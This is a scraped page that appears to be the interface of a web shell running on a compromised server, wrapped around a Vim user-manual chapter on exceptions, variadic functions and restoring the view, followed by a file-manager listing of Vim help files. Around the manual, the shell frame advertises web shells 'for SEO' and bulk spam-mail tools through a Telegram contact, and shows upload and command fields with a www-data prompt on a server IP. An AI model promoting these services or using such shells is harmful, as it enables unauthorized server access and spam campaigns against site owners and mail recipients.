__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
*usr_50.txt*	For Vim version 9.1.  Last change: 2022 Jun 20

		     VIM USER MANUAL - by Bram Moolenaar

			 Advanced Vim script writing


|50.1|	Exceptions
|50.2|	Function with variable number of arguments
|50.3|	Restoring the view

     Next chapter: |usr_51.txt|  Create a plugin
 Previous chapter: |usr_45.txt|  Select your language (local)
Table of contents: |usr_toc.txt|

==============================================================================
*50.1*	Exceptions

Let's start with an example: >

	try
	   read ~/templates/pascal.tmpl
	catch /E484:/
	   echo "Sorry, the Pascal template file cannot be found."
	endtry

The `read` command will fail if the file does not exist.  Instead of
generating an error message, this code catches the error and gives the user a
message with more information.

For the commands in between `try` and `endtry` errors are turned into
exceptions.  An exception is a string.  In the case of an error the string
contains the error message.  And every error message has a number.  In this
case, the error we catch contains "E484:".  This number is guaranteed to stay
the same (the text may change, e.g., it may be translated).

Besides being able to give a nice error message, Vim will also continue
executing commands after the `:endtry`.  Otherwise, once an uncaught error is
encountered, execution of the script/function/mapping will be aborted.

When the `read` command causes another error, the pattern "E484:" will not
match in it.  Thus this exception will not be caught and result in the usual
error message and execution is aborted.

You might be tempted to do this: >

	try
	   read ~/templates/pascal.tmpl
	catch
	   echo "Sorry, the Pascal template file cannot be found."
	endtry

This means all errors are caught.  But then you will not see an error that
would indicate a completely different problem, such as "E21: Cannot make
changes, 'modifiable' is off".  Think twice before you catch any error!

Another useful mechanism is the `finally` command: >

	var tmp = tempname()
	try
	   exe ":.,$write " .. tmp
	   exe "!filter " .. tmp
	   :.,$delete
	   exe ":$read " .. tmp
	finally
	   delete(tmp)
	endtry

This filters the lines from the cursor until the end of the file through the
"filter" command, which takes a file name argument.  No matter if the
filtering works, if something goes wrong in between `try` and `finally` or the
user cancels the filtering by pressing CTRL-C, the `delete(tmp)` call is
always executed.  This makes sure you don't leave the temporary file behind.

The `finally` does not catch the exception, the error will still abort
further execution.

More information about exception handling can be found in the reference
manual: |exception-handling|.

==============================================================================
*50.2*	Function with variable number of arguments

Vim enables you to define functions that have a variable number of arguments.
The following command, for instance, defines a function that must have 1
argument (start) and can have up to 20 additional arguments: >

	def Show(start: string, ...items: list<string>)

The variable "items" will be a list in the function containing the extra
arguments.  You can use it like any list, for example: >

	def Show(start: string, ...items: list<string>)
	  echohl Title
	  echo "start is " .. start
	  echohl None
	  for index in range(len(items))
	    echon $"  Arg {index} is {items[index]}"
	  endfor
	  echo
	enddef

You can call it like this: >

	Show('Title', 'one', 'two', 'three')
<	start is Title  Arg 0 is one  Arg 1 is two  Arg 2 is three ~

This uses the `echohl` command to specify the highlighting used for the
following `echo` command.  `echohl None` stops it again.  The `echon` command
works like `echo`, but doesn't output a line break.

If you call it with one argument the "items" list will be empty.
`range(len(items))` returns a list with the indexes, what `for` loops over,
we'll explain that further down.

==============================================================================
*50.3*	Restoring the view

Sometimes you want to jump around, make a change and then go back to the same
position and view.  For example to change something in the file header.  This
can be done with two functions: >

	var view = winsaveview()
	# Move around, make changes
	winrestview(view)

==============================================================================

Next chapter: |usr_51.txt|  Create a plugin

Copyright: see |manual-copyright|  vim:tw=78:ts=8:noet:ft=help:norl:

Filemanager

Name Type Size Permission Actions
README.Debian File 324 B 0644
arabic.txt File 11.92 KB 0644
autocmd.txt File 76.05 KB 0644
builtin.txt File 421.88 KB 0644
change.txt File 78.82 KB 0644
channel.txt File 57.72 KB 0644
cmdline.txt File 51.93 KB 0644
debug.txt File 6.73 KB 0644
debugger.txt File 5.32 KB 0644
develop.txt File 22.58 KB 0644
diff.txt File 17.91 KB 0644
digraph.txt File 60.98 KB 0644
editing.txt File 75.68 KB 0644
eval.txt File 169.17 KB 0644
farsi.txt File 523 B 0644
filetype.txt File 29.9 KB 0644
fold.txt File 24.15 KB 0644
ft_ada.txt File 17.79 KB 0644
ft_context.txt File 5.04 KB 0644
ft_mp.txt File 4.6 KB 0644
ft_ps1.txt File 2.14 KB 0644
ft_raku.txt File 4.12 KB 0644
ft_rust.txt File 19.34 KB 0644
ft_sql.txt File 29.97 KB 0644
gui.txt File 52.25 KB 0644
gui_w32.txt File 18.67 KB 0644
gui_x11.txt File 28.63 KB 0644
hangulin.txt File 598 B 0644
hebrew.txt File 5.53 KB 0644
help.txt File 9.27 KB 0644
help.txt.vim-tiny File 1.32 KB 0644
helphelp.txt File 15.68 KB 0644
howto.txt File 2.85 KB 0644
if_cscop.txt File 18.87 KB 0644
if_lua.txt File 18.11 KB 0644
if_mzsch.txt File 11.66 KB 0644
if_ole.txt File 6.95 KB 0644
if_perl.txt File 11.18 KB 0644
if_pyth.txt File 39.86 KB 0644
if_ruby.txt File 8.32 KB 0644
if_sniff.txt File 271 B 0644
if_tcl.txt File 22.41 KB 0644
indent.txt File 42.67 KB 0644
index.txt File 80.44 KB 0644
insert.txt File 86.06 KB 0644
intro.txt File 38.69 KB 0644
map.txt File 79.27 KB 0644
mbyte.txt File 57.27 KB 0644
message.txt File 31.18 KB 0644
mlang.txt File 7.97 KB 0644
motion.txt File 53.11 KB 0644
netbeans.txt File 37.07 KB 0644
options.txt File 409.57 KB 0644
os_390.txt File 4.63 KB 0644
os_amiga.txt File 5.34 KB 0644
os_beos.txt File 293 B 0644
os_dos.txt File 15.13 KB 0644
os_haiku.txt File 8.34 KB 0644
os_mac.txt File 6.7 KB 0644
os_mint.txt File 391 B 0644
os_msdos.txt File 523 B 0644
os_os2.txt File 299 B 0644
os_qnx.txt File 3.98 KB 0644
os_risc.txt File 328 B 0644
os_unix.txt File 2.55 KB 0644
os_vms.txt File 32.95 KB 0644
os_win32.txt File 14.56 KB 0644
pattern.txt File 62.16 KB 0644
pi_getscript.txt File 20.58 KB 0644
pi_gzip.txt File 1.51 KB 0644
pi_logipat.txt File 4.1 KB 0644
pi_netrw.txt File 177.59 KB 0644
pi_paren.txt File 2.22 KB 0644
pi_spec.txt File 4.03 KB 0644
pi_tar.txt File 7.02 KB 0644
pi_vimball.txt File 11.58 KB 0644
pi_zip.txt File 7.6 KB 0644
popup.txt File 39.44 KB 0644
print.txt File 30.71 KB 0644
quickfix.txt File 83.69 KB 0644
quickref.txt File 71.35 KB 0644
quotes.txt File 12.45 KB 0644
recover.txt File 10.48 KB 0644
remote.txt File 8.42 KB 0644
repeat.txt File 45.41 KB 0644
rileft.txt File 4.94 KB 0644
russian.txt File 2.95 KB 0644
scroll.txt File 14.02 KB 0644
sign.txt File 26.23 KB 0644
spell.txt File 62.7 KB 0644
sponsor.txt File 6.62 KB 0644
starting.txt File 72.79 KB 0644
syntax.txt File 232.03 KB 0644
tabpage.txt File 16.84 KB 0644
tags File 381.99 KB 0644
tags.vim-tiny File 1.89 KB 0644
tagsrch.txt File 39.53 KB 0644
term.txt File 54.38 KB 0644
terminal.txt File 61.69 KB 0644
testing.txt File 21.98 KB 0644
textprop.txt File 20 KB 0644
tips.txt File 20.84 KB 0644
todo.txt File 308.94 KB 0644
uganda.txt File 12.75 KB 0644
undo.txt File 17.39 KB 0644
userfunc.txt File 20.14 KB 0644
usr_01.txt File 6.91 KB 0644
usr_02.txt File 23.66 KB 0644
usr_03.txt File 23.37 KB 0644
usr_04.txt File 18.68 KB 0644
usr_05.txt File 27.29 KB 0644
usr_06.txt File 10.39 KB 0644
usr_07.txt File 15.62 KB 0644
usr_08.txt File 18.92 KB 0644
usr_09.txt File 11.23 KB 0644
usr_10.txt File 28.52 KB 0644
usr_11.txt File 12.72 KB 0644
usr_12.txt File 13.12 KB 0644
usr_20.txt File 13.41 KB 0644
usr_21.txt File 18.02 KB 0644
usr_22.txt File 14.55 KB 0644
usr_23.txt File 12.45 KB 0644
usr_24.txt File 20.34 KB 0644
usr_25.txt File 18.73 KB 0644
usr_26.txt File 8.07 KB 0644
usr_27.txt File 17.29 KB 0644
usr_28.txt File 15.64 KB 0644
usr_29.txt File 19.78 KB 0644
usr_30.txt File 22.13 KB 0644
usr_31.txt File 10.16 KB 0644
usr_32.txt File 5.25 KB 0644
usr_40.txt File 23 KB 0644
usr_41.txt File 63.74 KB 0644
usr_42.txt File 13.53 KB 0644
usr_43.txt File 7.24 KB 0644
usr_44.txt File 28.27 KB 0644
usr_45.txt File 17.27 KB 0644
usr_50.txt File 4.45 KB 0644
usr_51.txt File 24.92 KB 0644
usr_52.txt File 13.18 KB 0644
usr_90.txt File 16.38 KB 0644
usr_toc.txt File 9.65 KB 0644
various.txt File 31.67 KB 0644
version4.txt File 13.58 KB 0644
version5.txt File 301.3 KB 0644
version6.txt File 563.42 KB 0644
version7.txt File 658.88 KB 0644
version8.txt File 1.53 MB 0644
version9.txt File 1.54 MB 0644
vi_diff.txt File 56.06 KB 0644
vim9.txt File 89.6 KB 0644
vim9class.txt File 40.08 KB 0644
visual.txt File 22.09 KB 0644
windows.txt File 57.33 KB 0644
workshop.txt File 371 B 0644
Filemanager